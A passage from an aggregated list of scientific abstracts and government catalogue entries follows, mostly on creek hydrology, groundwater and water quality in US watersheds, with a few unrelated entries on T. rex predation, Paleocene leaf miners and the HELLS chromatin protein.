into the caves and from selected springs sampled as part of this study ranged from 10 to 25 years.Within the upper Snake Creek drainage, the results of this study show geochemical similarities between Snake Creek and Outhouse Spring, Spring Creek Spring, and Squirrel Spring Cave. The strontium isotope ratio (87Sr/86Sr) for intrusive rock samples representative of the Snake Creek drainage were similar to carbonate rock samples. The water sample collected from Snake Creek at the pipeline discharge point had lower strontium concentrations than the sample downstream and a similar 87Sr/86Sr value as the carbonate and intrusive rocks. The chemistry of the water sample was considered representative of upstream conditions in Snake Creek and indicates minimal influence of rock dissolution. The results of this study suggest that water discharging from Outlet Spring is not hydrologically connected to Snake Creek but rather is recharged at high altitude(s) within the Snake Creek drainage. These findings for Outlet Spring largely stem from the relatively high specific conductance and chloride concentration, the lightest deuterium (δD) and oxygen-18 (δ18O) values, and the longest calculated residence time (60 to 90 years) relative to any other sample collected as part of this study. With the exception of water sampled from Outlet Spring, the residence time of water discharging into Squirrel Spring Cave and selected springs in the upper Snake Creek drainage was less than 30 years.

Surface- and ground-water characteristics in the Upper Truckee River and Trout Creek watersheds, South Lake Tahoe, California and Nevada, July-December 1996

USGS Publications Warehouse

Rowe, T.G.; Allander, Kip K.

2000-01-01

The Upper Truckee River and Trout Creek watersheds, South Lake Tahoe, California and Nevada, were studied from July to December 1996 to develop a better understanding of the relation between surface water and ground water. Base flows at 63 streamflow sites were measured in late September 1996 in the Upper Truckee River and Trout Creek watersheds. Most reaches of the main stem of the Upper Truckee River and Trout Creek had gaining or steady flows, with one losing reach in the mid-section of each stream. Twenty-seven of the streamflow sites measured in the Upper Truckee River watershed were on 14 tributaries to the main stem of the Upper Truckee River. Sixteen of the 40 streamflow sites measured in the Upper Truckee River watershed had no measurable flow. Streamflow in Upper Truckee River watershed ranged from 0 to 11.6 cubic feet per second (ft3/s). The discharge into Lake Tahoe from the Upper Truckee River was 11.6 ft3/s, of which, 40 percent of the flow was from ground-water discharge into the main stem, 40 percent was from tributary inflows, and the remaining 20 percent was the beginning flow. Gains from or losses to ground water along streams ranged from a 1.4 cubic feet per second per mile (ft3/s/mi) gain to a 0.5 ft3/s/mi loss along the main stem. Fourteen of the streamflow sites measured in the Trout Creek watershed were on eight tributaries to the main stem of Trout Creek. Of the 23 streamflow sites measured in the Trout Creek watershed, only one site had no flow. Flows in the Trout Creek watershed ranged from zero to 23.0 ft3/s. Discharge into Lake Tahoe from Trout Creek was 23.0 ft3/s, of which, about 5 percent of the flow was from ground-water discharge into the main stem, 75 percent was from tributary inflows, and the remaining 20 percent was the beginning flow. Ground-water seepage rates ranged from a 1.4 ft3/s/mi gain to a 0.9 ft3/s/mi loss along the main stem. Specific conductances measured during the seepage run in September 1996 increased in a downstream direction in the main stem of the Upper Truckee River and remained relatively constant in the main stem of Trout Creek. Water temperatures measured during the seepage run also increased in a downstream direction in both watersheds. Depths to ground water measured at 62 wells in the study area were used with the results of the seepage run to produce a water-level map in the Upper Truckee River and Trout Creek watersheds. Ground-water levels ranged from 1.3 to 69.8 feet below land surface. In the upper sections of the watersheds ground-water flow is generally toward the main stems of Upper Truckee River and Trout Creek, whereas in the lower sections, ground-water flow generally parallels the two streams and flows toward Lake Tahoe. The altitude of ground water between Lake Tahoe and Highway 50 was nearly the same as the lake-surface altitude from July to November 1996. This suggests ground-water discharge beneath the Upper Truckee River and Trout Creek drainages directly to Lake Tahoe was minimal and that much of the ground-water discharge was to the channels of the Upper Truckee River and Trout Creek upstream from Highway 50. Hydraulic gradients ranged from near zero to 1,400 feet per mile. Samples were collected at six surface-water-quality and eight ground-water-quality sites from July through mid-December 1996. Specific conductance of the ground-water-quality sites was higher than that of the surface-water-quality sites. Water temperature and pH median values were similar between ground-water-quality and surface-water-quality sites but ground water had greater variation in pH and surface water had greater variation in water temperature. Ground-water nutrient concentrations were generally higher than those in streams except for bioreactive iron.

The frequency of channel-forming discharges in a tributary of Upper Big Walnut Creek, Ohio

USDA-ARS?s Scientific Manuscript database

The goal of this study was to determine the frequency and magnitude of annual out-of-bank discharges in Sugar Creek, a tributary of the Upper Big Walnut Creek, in Ohio. To address this goal: a stream geomorphology study was conducted; measured discharge data at a downstream location were used to dev...

78 FR 36743 - Adoption of Final Environmental Assessment (UT-040-09-03) Prepared for the Upper Kanab Creek...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-06-19

... Assessment (UT-040-09-03) Prepared for the Upper Kanab Creek Watershed Vegetation Management Project AGENCY... (NRCS) announces its intent to adopt the Kanab Creek Watershed Vegetation Management Project EA, as... Management Project EA, request a copy of the EA, or submit comments on actions being taken by NRCS regarding...

Upper York Creek Dam Removal, Fish Passage, and Ecosystem Restoration

EPA Pesticide Factsheets

Information about the Upper York Creek Dam Removal, Fish Passage, and Ecosystem Restoration part of an EPA competitive grant program to improve SF Bay water quality focused on restoring impaired waters and enhancing aquatic resources.

Novel Insect Leaf-Mining after the End-Cretaceous Extinction and the Demise of Cretaceous Leaf Miners, Great Plains, USA

PubMed Central

Donovan, Michael P.; Wilf, Peter; Labandeira, Conrad C.; Johnson, Kirk R.; Peppe, Daniel J.

2014-01-01

Plant and associated insect-damage diversity in the western U.S.A. decreased significantly at the Cretaceous-Paleogene (K-Pg) boundary and remained low until the late Paleocene. However, the Mexican Hat locality (ca. 65 Ma) in southeastern Montana, with a typical, low-diversity flora, uniquely exhibits high damage diversity on nearly all its host plants, when compared to all known local and regional early Paleocene sites. The same plant species show minimal damage elsewhere during the early Paleocene. We asked whether the high insect damage diversity at Mexican Hat was more likely related to the survival of Cretaceous insects from refugia or to an influx of novel Paleocene taxa. We compared damage on 1073 leaf fossils from Mexican Hat to over 9000 terminal Cretaceous leaf fossils from the Hell Creek Formation of nearby southwestern North Dakota and to over 9000 Paleocene leaf fossils from the Fort Union Formation in North Dakota, Montana, and Wyoming. We described the entire insect-feeding ichnofauna at Mexican Hat and focused our analysis on leaf mines because they are typically host-specialized and preserve a number of diagnostic morphological characters. Nine mine damage types attributable to three of the four orders of leaf-mining insects are found at Mexican Hat, six of them so far unique to the site. We found no evidence linking any of the diverse Hell Creek mines with those found at Mexican Hat, nor for the survival of any Cretaceous leaf miners over the K-Pg boundary regionally, even on well-sampled, surviving plant families. Overall, our results strongly relate the high damage diversity on the depauperate Mexican Hat flora to an influx of novel insect herbivores during the early Paleocene, possibly caused by a transient warming event and range expansion, and indicate drastic extinction rather than survivorship of Cretaceous insect taxa from refugia. PMID:25058404

The Collins Creek and Pleasant Creek Formations: Two new upper cretaceous subsurface units in the Carolina/Georgia Coastal Plain

USGS Publications Warehouse

,; Prowell, D.C.; Christopher, R.A.

2004-01-01

This paper formally defines two new Upper Cretaceous subsurface units in the southern Atlantic Coastal Plain of North Carolina, South Carolina and Georgia: the Collins Creek Formation and the Pleasant Creek Formation. These units are confined to the subsurface of the outer Coastal Plain, and their type sections are established in corehole CHN-820 from Charleston County, S.C. The Collins Creek Formation consists of greenish-gray lignitic sand and dark-greenish-gray sandy clay and is documented in cores from Allendale, Beaufort, Berkeley, Dorchester, Jasper and Marion Counties, South Carolina, and from Screven County, Georgia. Previously, Collins Creek strata had been incorrectly assigned to the Middendorf Formation. These sediments occupy a stratigraphic position between the Turonian/Coniacian Cape Fear Formation (?) below and the proposed upper Coniacian to middle Santonian Pleasant Creek Formation above. The Collins Creek Formation is middle and late Coniacian in age on the basis of calcareous nannofossil and palynomorph analyses. The Pleasant Creek Formation consists of olive-gray sand and dark-greenish-gray silty to sandy clay and is documented in cores from New Hanover County, North Carolina, and Berkeley, Charleston, Dorchester, Horry and Marion Counties, South Carolina. The strata of this unit previously were assigned incorrectly to the Middendorf Formation and (or) the Cape Fear Formation. These sediments occupy a stratigraphic position between the proposed Collins Creek Formation below and the Shepherd Grove Formation above. The Pleasant Creek Formation is late Coniacian and middle Santonian in age, on the basis of its calcareous nannofossil and palynomorph assemblages.

Water-quality, bed-sediment, and biological data, for streams in the upper Prickly Pear Creek watershed, Montana, 2001

USGS Publications Warehouse

Klein, Terry L.; Thamke, Joanna N.; Harper, David D.; Farag, Aïda M.; Nimick, David A.; Fey, David L.

2003-01-01

The upper Prickly Pear Creek watershed encompasses the upstream 15 miles of Prickly Pear Creek, south of Helena, Montana (fig. 1). The headwaters of Prickly Pear Creek and its tributaries (Beavertown Creek, Clancy Creek, Dutchman Creek, Golconda Creek, Lump Gulch, Spring Creek, and Warm Springs Creek) are primarily in the Helena National Forest, whereas the central part of the watershed primarily is within either Bureau of Land Management (BLM) or privately owned property. Three mining districts are present in the upper Prickly Pear Creek watershed: Alhambra, Clancy, and Colorado. Numerous prospects, adits, tailings piles, mills, dredge piles, and mines (mostly inactive) are located throughout the watershed. These districts contain polymetallic (Ag, Au, Cu, Pb, Zn) vein deposits and precious-metal (Au-Ag) vein and disseminated deposits that were exploited beginning in the 1860’s. Placer Au deposits in the major streams were extensively mined in the late 1800’s and early 1900’s.As part of a cooperative effort with Federal land management agencies, the U.S. Geological Survey (USGS) is currently using an integrated approach to investigate two mining impacted watersheds in the western United States (the Animas River in Colorado and the Boulder River in Montana). These studies provide the USDA Forest Service and BLM scientific data for implementing informed land-management decisions regarding cleanup of abandoned mine lands within each watershed. A similar integrated-science approach will be used to characterize the upper Prickly Pear Creek watershed with respect to water and streambed sediment chemistry, aquatic biota, and geologic framework. This integrated database presents data that will be used to identify important pathways of metals movement and biological impacts, thereby guiding resource management decisions of land-managers in several publications that are in preparation. Watershed-level characterization in terms of water quality, streambed sediment chemistry, and fish health will facilitate determinations of whether removal of contaminated materials or other cleanup activities are necessary, planning of short- and long-term restoration efforts, and development of a monitoring plan to document cleanup effectiveness.

An analysis of stream channel cross section technique as a means to determine anthropogenic change in second order streams at the Tenderfoot Creek Experimental Forest, Meagher County, Montana

Treesearch

Jeff Boice

1999-01-01

Five second order tributaries to Tenderfoot Creek were investigated: Upper Tenderfoot Creek, Sun Creek, Spring Park Creek, Bubbling Creek, and Stringer Creek. Second order reaches were initially located on 7.5 minute topographic maps using techniques first applied by Strahler (1952). Reach breaks were determined in the field through visual inspection. Vegetation type (...

Comparative study of trophic organization of juvenile fish assemblages of three tidal creeks in a tropical semi-arid estuary.

PubMed

Figueiredo, G G A A; Pessanha, A L M

2016-07-01

A comparison of three tidal creeks assessed the effects of the hydrological regime on trophic organization in juvenile fish assemblages of 21 species in a tropical estuary in north-eastern Brazil. There were seven trophic guilds represented spatially. Zooplanktivore and zoobenthivore guilds dominated the lower estuary, whereas omnivores and detritivores dominated the upper estuary. In the rainy season, the zooplanktivore and omnivore guilds were more common throughout the estuary, but in the dry season, zoobenthivores and piscivores occurred throughout. The trophic organization results show that (1) there was a higher complexity in tidal creeks in the upper estuary compared with the first tidal creek in the lower region and (2) trophic linkages increased in the upper estuary, principally the number of omnivore and detritivore species. Spatial variation in trophic structure was primarily associated with differences in the location of the tidal creeks along the estuary, and this variability was partly attributed to fish species richness; the number of species increased towards the upper estuary, and additional species occupied different trophic levels or used additional resources. © 2015 The Fisheries Society of the British Isles.

1. EXTERIOR OVERVIEW SHOWING BISHOP CREEK PLANT 4 RESIDENTIAL COMPLEX. ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

1. EXTERIOR OVERVIEW SHOWING BISHOP CREEK PLANT 4 RESIDENTIAL COMPLEX. ROOF OF BUILDING 105 IS VISIBLE IN UPPER PHOTO CENTER. PLANT 5 INTAKE DAM AT PHOTO LEFT. VIEW TO WEST. - Bishop Creek Hydroelectric System, Plant 4, Worker Cottage, Bishop Creek, Bishop, Inyo County, CA

Effects of groundwater levels and headwater wetlands on streamflow in the Charlie Creek basin, Peace River watershed, west-central Florida

USGS Publications Warehouse

Lee, T.M.; Sacks, L.A.; Hughes, J.D.

2010-01-01

The Charlie Creek basin was studied from April 2004 to December 2005 to better understand how groundwater levels in the underlying aquifers and storage and overflow of water from headwater wetlands preserve the streamflows exiting this least-developed tributary basin of the Peace River watershed. The hydrogeologic framework, physical characteristics, and streamflow were described and quantified for five subbasins of the 330-square mile Charlie Creek basin, allowing the contribution of its headwaters area and tributary subbasins to be separately quantified. A MIKE SHE model simulation of the integrated surface-water and groundwater flow processes in the basin was used to simulate daily streamflow observed over 21 months in 2004 and 2005 at five streamflow stations, and to quantify the monthly and annual water budgets for the five subbasins including the changing amount of water stored in wetlands. Groundwater heads were mapped in Zone 2 of the intermediate aquifer system and in the Upper Floridan aquifer, and were used to interpret the location of artesian head conditions in the Charlie Creek basin and its relation to streamflow. Artesian conditions in the intermediate aquifer system induce upward groundwater flow into the surficial aquifer and help sustain base flow which supplies about two-thirds of the streamflow from the Charlie Creek basin. Seepage measurements confirmed seepage inflow to Charlie Creek during the study period. The upper half of the basin, comprised largely of the Upper Charlie Creek subbasin, has lower runoff potential than the lower basin, more storage of runoff in wetlands, and periodically generates no streamflow. Artesian head conditions in the intermediate aquifer system were widespread in the upper half of the Charlie Creek basin, preventing downward leakage from expansive areas of wetlands and enabling them to act as headwaters to Charlie Creek once their storage requirements were met. Currently, the dynamic balance between wetland storage, rainfall-runoff processes, and groundwater-level differences in the upper basin allow it to generate approximately half of the streamflow from the Charlie Creek basin. Therefore, future development in the upper basin that would alter the hydraulic connectivity of wetlands during high flow conditions or expand recharging groundwater conditions could substantially affect streamflow in Charlie Creek. LIDAR (Light detection and ranging) based topographic maps and integrated modeling results were used to quantify the water stored in wetlands and other topographic depressions, and to describe the network of shallow stream channels connecting wetlands to Charlie Creek and its tributaries over distances of several thousand feet. Peak flows at all but one streamflow station were underpredicted in MIKE SHE simulations, possibly because the hydraulics of surface channels connecting wetlands to stream channels were not explicitly simulated in the model. Explicitly simulating the smaller channels connecting wetlands and stream channels should improve the ability of future watershed models to simulate peak flows in streams with headwater wetlands. The runoff potential was greater in the lower half of the Charlie Creek basin than in the upper half, and the streambed of Charlie Creek had greater potential to both directly gain streamflow from groundwater and lose streamflow to groundwater. Charlie Creek is more incised into the surficial aquifer in the lower basin than in the upper basin, and the streambed intersects the top of the intermediate aquifer system at two known locations. Groundwater levels in the intermediate aquifer system varied widely in the lower half of the basin from artesian conditions inducing upward flow toward the surficial aquifer and streams, to recharging conditions allowing downward flow and stream leakage. Recharge areas were greatest in May 2004 when rainfall was at a seasonal low and irrigation pumping was at a seasonal high. Recharge conditions

1. EXTERIOR OVERVIEW OF SOUTH END OF RUSH CREEK POWERHOUSE ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

1. EXTERIOR OVERVIEW OF SOUTH END OF RUSH CREEK POWERHOUSE RESIDENTIAL COMPLEX SHOWING THE RUSH CREEK POWERHOUSE AT PHOTO RIGHT (TAILRACE IN FOREGROUND), BUILDING 106 NEXT TO THE POWERHOUSE AT PHOTO LEFT CENTER, AND BUILDING 103 AT UPPER PHOTO LEFT ABOVE AND BEHIND BUILDING 106. VIEW TO SOUTH. - Rush Creek Hydroelectric System, Worker Cottage, Rush Creek, June Lake, Mono County, CA

Geohydrology and Water Quality of the Valley-Fill Aquifer System in the Upper Sixmile Creek and West Branch Owego Creek Valleys in the Town of Caroline, Tompkins County, New York

USGS Publications Warehouse

Miller, Todd S.

2009-01-01

In 2002, the U.S. Geological Survey, in cooperation with the Town of Caroline and Tompkins County Planning Department, began a study of the valley-fill aquifer system in upper Sixmile Creek and headwaters of West Branch Owego Creek valleys in the Town of Caroline, NY. The purpose of the study is to provide geohydrologic data to county and town planners as they develop a strategy to manage and protect their water resources. The first aquifer reach investigated in this series is in the Town of Caroline and includes the upper Sixmile Creek valley and part of West Branch Owego Creek valley. The portions of the valley-fill aquifer system that are comprised of saturated coarse-grained sediments including medium to coarse sand and sandy gravel form the major aquifers. Confined sand and gravel units form the major aquifers in the western and central portions of the upper Sixmile Creek valley, and an unconfined sand and gravel unit forms the major aquifer in the eastern portion of the upper Sixmile Creek valley and in the headwaters of the West Branch Owego Creek valley. The valley-fill deposits are thinnest near the edges of the valley where they pinch out along the till-mantled bedrock valley walls. The thickness of the valley fill in the deepest part of the valley, at the western end of the study area, is about 100 feet (ft); the thickness is greater than 165 ft on top of the Valley Heads Moraine in the central part of the valley. An estimated 750 people live over and rely on groundwater from the valley-fill aquifers in upper Sixmile Creek and West Branch Owego Creek valleys. Most groundwater withdrawn from the valley-fill aquifers is pumped from wells with open-ended 6-inch diameter casings; the remaining withdrawals are from shallow dug wells or cisterns that collect groundwater that discharges to springs (especially in the Brooktondale area). The valley-fill aquifers are the sources of water for about 200 households, several apartment complexes, two mobile home parks, a school, and several farms and small businesses. Most groundwater that is withdrawn from pumped wells is returned to the groundwater system via septic systems. Groundwater in the upper and basal confined aquifers in the upper Sixmile Creek valley is under artesian conditions everywhere except where the water discharges to springs along bluffs in the western end of the Sixmile Creek valley. Principal sources of recharge to the confined aquifers are (1) the sides of the valley where the confined aquifers may extend up along the flank of the bedrock valley wall and crop out at land surface or are overlain and in contact with surficial coarse-grained deltaic and fluvial sediments that provide a pathway through which direct precipitation and seepage losses from tributary streams can reach the buried aquifers, or (2) where the buried aquifers are isolated and receive recharge only from adjacent fine-grained sediment and bedrock. The base-flow and runoff components of total streamflow at two streamgages, Sixmile Creek at Brooktondale and Sixmile Creek at Bethel Grove, were calculated using hydrograph-separation techniques from 2003 to 2007 discharge records. Base flow constituted 64 and 56 percent of the total annual flow at the Brooktondale and Bethel Grove streamgages, respectively. Water-quality samples were collected from 2003 to 2005, with 10 surface-water samples collected seasonally during base-flow conditions at the Sixmile Creek at Brooktondale streamgage, and 12 samples were collected during base-flow conditions at several selected tributaries from 2004 to 2005. The predominant cation detected in the surface-water samples was calcium, but moderate amounts of magnesium, silica, and sodium were also detected; the major anions were bicarbonate, chloride, and sulfate. Sodium and chloride concentrations were relatively low in all samples but increased downstream from the Sixmile Creek sampling site at Six Hundred Road near Slaterville Springs, NY, to B

Water flow statistics: SRP creeks

DOE Office of Scientific and Technical Information (OSTI.GOV)

Lower, M.W.

1982-08-26

For a number of environmental studies it is necessary to know the water flow rates and variations in the SRP streams. The objective of this memorandum is to pull together and present a number of statistical analyses for Upper Three Runs Creek, Four Mile Creek and Lower Three Runs Creek. The data basis covers 8 USGS stream gage stations for the years 1972 - 1981. The average flow rates over a ten-year period along Upper Three Runs Creek were determined to be 114 cfs at US Route 278, 193 cfs at Road C, and 265 cfs at Road A. Alongmore » Four Mile Creek the average flow rates over a ten-year period doubled from 9 cfs prior to F-Area discharges to 18 cfs prior to cooling water discharges from C-Area Reactor. Finally, average flow rates along Lower Three Runs Creek over a ten-year period tripled from 32 cfs at Par Pond to 96 cfs near Snelling, South Carolina. 1 figure, 9 tables.« less

Biological monitoring of Upper Three Runs Creek, Savannah River Plant, Aiken County, South Carolina

DOE Office of Scientific and Technical Information (OSTI.GOV)

Specht, W.L.

1991-10-01

In anticipation of the fall 1988 start up of effluent discharges into Upper Three Creek by the F/H Area Effluent Treatment Facility of the Savannah River Site, Aiken, SC, a two and one half year biological study was initiated in June 1987. Upper Three Runs Creek is an intensively studied fourth order stream known for its high species richness. Designed to assess the potential impact of F H area effluent on the creek, the study includes qualitative and quantitative macroinvertebrate stream surveys at five sites, chronic toxicity testing of the effluent, water chemistry and bioaccumulation analysis. This final report presentsmore » the results of both pre-operational and post-operational qualitative and quantitative (artificial substrate) macroinvertebrate studies. Six quantitative and three qualitative studies were conducted prior to the initial release of the F/H ETF effluent and five quantitative and two qualitative studies were conducted post-operationally.« less

2. OVERVIEW OF POWERHOUSE 8 COMPLEX. POWERHOUSE IS VISIBLE AT ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

2. OVERVIEW OF POWERHOUSE 8 COMPLEX. POWERHOUSE IS VISIBLE AT UPPER PHOTO CENTER. BUILDING 105 IS PROMINENT TRANSVERSE GABLE ROOF AT LOWER PHOTO CENTER. BIG CREEK CURVES AROUND BUILDINGS AT LOWER PHOTO. VIEW TO WEST. - Big Creek Hydroelectric System, Powerhouse 8, Operator Cottage, Big Creek, Big Creek, Fresno County, CA

THE BENEFITS OF WETLANDS: THE UPPER HALFWAY CREEK PROJECT

EPA Science Inventory

Researchers from the U.S. EPA are working in collaboration with U.S. Geological Survey and the U.S. Fish and Wildlife Services on this project. Upper Halfway Creek marsh is a constructed wetland managed by the U.S. Fish and Wildlife Service. This project will assist the U.S. EP...

Nutrient Effects on Belowground Organic Matter in a ...

EPA Pesticide Factsheets

Belowground structure and carbon dioxide emission rates were examined in minerogenic marshes of the North Inlet estuary, a system dominated by depositional processes and typical of the southeastern USA. Three areas were sampled: a long-term nutrient enrichment experiment (Goat Island); a fringing marsh that only receives drainage from an entirely forested watershed (upper Crab Haul Creek); and three locations along a creek basin that receives drainage from a residential and golf course development situated at its headwaters (Debidue Creek). Responses to fertilization at Goat Island were an increase in soil organic matter, an increase in number of rhizomes, enlarged rhizome diameters, decreased fine root mass, and increased carbon dioxide emission rates. At the Crab Haul Creek, the greatest abundances of coarse roots and rhizomes were observed in the high marsh compared to the low marsh and creekbank. The upper and mid Debidue Creek, which may be influenced by nutrient inputs associated with land development, had significantly fewer rhizomes compared to the mouth, which was dominated by exchange with bay waters. Carbon dioxide emission rates at the fertilized Goat Island plots were similar in magnitude to the upper Debidue Creek and significantly greater than the Goat Island control plots and the Crab Haul Creek. Inputs of sediment and particulates in marshes dominated by depositional processes such as the North Inlet may buffer the system from adverse effects of

77 FR 15093 - Public Service Company of Colorado;

Federal Register 2010, 2011, 2012, 2013, 2014

2012-03-14

...-foot-long concrete- faced rockfill Upper Dam across Cabin Creek; (2) a 25.4 acre upper reservoir with 1... earthfill and rockfill Lower Dam across South Clear Creek; (4) a 44.8-acre lower reservoir with 1,221 acre...; (5) a 145-foot-long auxiliary spillway constructed in the embankment of the lower reservoir with a...

Biological monitoring of Upper Three Runs Creek, Savannah River Plant, Aiken County, South Carolina. Final report on macroinvertebrate stream assessments for F/H area ETF effluent discharge, July 1987--February 1990

DOE Office of Scientific and Technical Information (OSTI.GOV)

Specht, W.L.

1991-10-01

In anticipation of the fall 1988 start up of effluent discharges into Upper Three Creek by the F/H Area Effluent Treatment Facility of the Savannah River Site, Aiken, SC, a two and one half year biological study was initiated in June 1987. Upper Three Runs Creek is an intensively studied fourth order stream known for its high species richness. Designed to assess the potential impact of F?H area effluent on the creek, the study includes qualitative and quantitative macroinvertebrate stream surveys at five sites, chronic toxicity testing of the effluent, water chemistry and bioaccumulation analysis. This final report presents themore » results of both pre-operational and post-operational qualitative and quantitative (artificial substrate) macroinvertebrate studies. Six quantitative and three qualitative studies were conducted prior to the initial release of the F/H ETF effluent and five quantitative and two qualitative studies were conducted post-operationally.« less

VIEW OF FOSSIL CREEK DIVERSION DAM FROM DOWNSTREAM (INCLUDES 1950s ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

VIEW OF FOSSIL CREEK DIVERSION DAM FROM DOWNSTREAM (INCLUDES 1950s AUTOMATIC/REMOTE CONTROL SLUICE GATE IN UPPER CENTER OF DAM, NORTH SIDE). LOOKING NORTH-NORTHWEST - Childs-Irving Hydroelectric Project, Fossil Creek Diversion Dam, Forest Service Road 708/502, Camp Verde, Yavapai County, AZ

40 CFR 131.34 - Kansas.

Code of Federal Regulations, 2013 CFR

2013-07-01

... Contact Recreation Basin: Solomon Subbasin: Upper North Fork Solomon Ash Creek 10260011 24 Primary Contact... Recreation Subbasin: Lower North Fork Solomon Beaver Creek 10260012 10 Primary Contact Recreation...

40 CFR 131.34 - Kansas.

Code of Federal Regulations, 2012 CFR

2012-07-01

... Contact Recreation Basin: Solomon Subbasin: Upper North Fork Solomon Ash Creek 10260011 24 Primary Contact... Recreation Subbasin: Lower North Fork Solomon Beaver Creek 10260012 10 Primary Contact Recreation...

40 CFR 131.34 - Kansas.

Code of Federal Regulations, 2010 CFR

2010-07-01

... Contact Recreation Basin: Solomon Subbasin: Upper North Fork Solomon Ash Creek 10260011 24 Primary Contact... Recreation Subbasin: Lower North Fork Solomon Beaver Creek 10260012 10 Primary Contact Recreation...

40 CFR 131.34 - Kansas.

Code of Federal Regulations, 2011 CFR

2011-07-01

... Contact Recreation Basin: Solomon Subbasin: Upper North Fork Solomon Ash Creek 10260011 24 Primary Contact... Recreation Subbasin: Lower North Fork Solomon Beaver Creek 10260012 10 Primary Contact Recreation...

Sedimentation History Of Halfway Creek Marsh, Upper Mississippi River National Wildlife And Fish Refuge, Wisconsin, 1846-2006. Scientific Investigations Report 2007–5209

EPA Science Inventory

The history of overbank sedimentation in the vicinity of Halfway Creek Marsh near La Crosse, Wisconsin, was examined during 2005-06 by the U.S. Geological Survey and University of Wisconsin-Madison as part of a broader study of sediment and nutrient loadings to the Upper Mississi...

40 CFR 131.34 - Kansas.

Code of Federal Regulations, 2014 CFR

2014-07-01

... Contact Recreation Basin: Solomon Subbasin: Upper North Fork Solomon Ash Creek 10260011 24 Primary Contact... Recreation Subbasin: Lower North Fork Solomon Beaver Creek 10260012 10 Primary Contact Recreation Beaver...

A Clash of Native Space and Institutional Place in a Local Choctaw-Upper Creek Memory Site: Decolonizing Critiques and Scholar-Activist Interventions

ERIC Educational Resources Information Center

Black, Jason Edward

2012-01-01

This essay--a combination of authorial narrative and scholarly critique--examines a grassroots organization's (Friends of Historic Northport) campaign to preserve a site in west Alabama where a pivotal Choctaw-Upper Creek battle took place in 1785. The organization has faced opposition from city planners and business leaders intent on developing…

Physical evidence of predatory behavior in Tyrannosaurus rex.

PubMed

DePalma, Robert A; Burnham, David A; Martin, Larry D; Rothschild, Bruce M; Larson, Peter L

2013-07-30

Feeding strategies of the large theropod, Tyrannosaurus rex, either as a predator or a scavenger, have been a topic of debate previously compromised by lack of definitive physical evidence. Tooth drag and bone puncture marks have been documented on suggested prey items, but are often difficult to attribute to a specific theropod. Further, postmortem damage cannot be distinguished from intravital occurrences, unless evidence of healing is present. Here we report definitive evidence of predation by T. rex: a tooth crown embedded in a hadrosaurid caudal centrum, surrounded by healed bone growth. This indicates that the prey escaped and lived for some time after the injury, providing direct evidence of predatory behavior by T. rex. The two traumatically fused hadrosaur vertebrae partially enclosing a T. rex tooth were discovered in the Hell Creek Formation of South Dakota.

Physical evidence of predatory behavior in Tyrannosaurus rex

NASA Astrophysics Data System (ADS)

DePalma, Robert A., II; Burnham, David A.; Martin, Larry D.; Rothschild, Bruce M.; Larson, Peter L.

2013-07-01

Feeding strategies of the large theropod, Tyrannosaurus rex, either as a predator or a scavenger, have been a topic of debate previously compromised by lack of definitive physical evidence. Tooth drag and bone puncture marks have been documented on suggested prey items, but are often difficult to attribute to a specific theropod. Further, postmortem damage cannot be distinguished from intravital occurrences, unless evidence of healing is present. Here we report definitive evidence of predation by T. rex: a tooth crown embedded in a hadrosaurid caudal centrum, surrounded by healed bone growth. This indicates that the prey escaped and lived for some time after the injury, providing direct evidence of predatory behavior by T. rex. The two traumatically fused hadrosaur vertebrae partially enclosing a T. rex tooth were discovered in the Hell Creek Formation of South Dakota.

Physical evidence of predatory behavior in Tyrannosaurus rex

PubMed Central

DePalma, Robert A.; Burnham, David A.; Martin, Larry D.; Rothschild, Bruce M.; Larson, Peter L.

2013-01-01

Feeding strategies of the large theropod, Tyrannosaurus rex, either as a predator or a scavenger, have been a topic of debate previously compromised by lack of definitive physical evidence. Tooth drag and bone puncture marks have been documented on suggested prey items, but are often difficult to attribute to a specific theropod. Further, postmortem damage cannot be distinguished from intravital occurrences, unless evidence of healing is present. Here we report definitive evidence of predation by T. rex: a tooth crown embedded in a hadrosaurid caudal centrum, surrounded by healed bone growth. This indicates that the prey escaped and lived for some time after the injury, providing direct evidence of predatory behavior by T. rex. The two traumatically fused hadrosaur vertebrae partially enclosing a T. rex tooth were discovered in the Hell Creek Formation of South Dakota. PMID:23858435

An ATPase-deficient variant of the SNF2 family member HELLS shows altered dynamics at pericentromeric heterochromatin.

PubMed

Lungu, Cristiana; Muegge, Kathrin; Jeltsch, Albert; Jurkowska, Renata Z

2015-05-22

The HELLS (helicase, lymphoid specific, also known as lymphoid-specific helicase) protein is related to the SNF2 (sucrose non-fermentable 2) family of chromatin remodeling ATPases. It is required for efficient DNA methylation in mammals, particularly at heterochromatin-located repetitive sequences. In this study, we investigated the interaction of HELLS with chromatin and used an ATPase-deficient HELLS variant to address the role of ATP hydrolysis in this process. Chromatin fractionation experiments demonstrated that, in the absence of the ATPase activity, HELLS is retained at the nuclear matrix compartment, defined in part by lamin B1. Microscopy studies revealed a stronger association of the ATPase-deficient mutant with heterochromatin. These results were further supported by fluorescence recovery after photobleaching measurements, which showed that, at heterochromatic sites, wild-type HELLS is very dynamic, with a recovery half-time of 0.8s and a mobile protein fraction of 61%. In contrast, the ATPase-deficient mutant displayed 4.5-s recovery half-time and a reduction in the mobile fraction to 30%. We also present evidence suggesting that, in addition to the ATPase activity, a functional H3K9me3 signaling pathway contributes to an efficient release of HELLS from pericentromeric chromatin. Overall, our results show that a functional ATPase activity is not required for the recruitment of HELLS to heterochromatin, but it is important for the release of the enzyme from these sites. Copyright © 2015 Elsevier Ltd. All rights reserved.

Potential effects of surface coal mining on the hydrology of the upper Otter Creek-Pasture Creek Area, Moorehead coal field, southeastern Montana

USGS Publications Warehouse

McClymonds, N.E.; Moreland, J.A.

1988-01-01

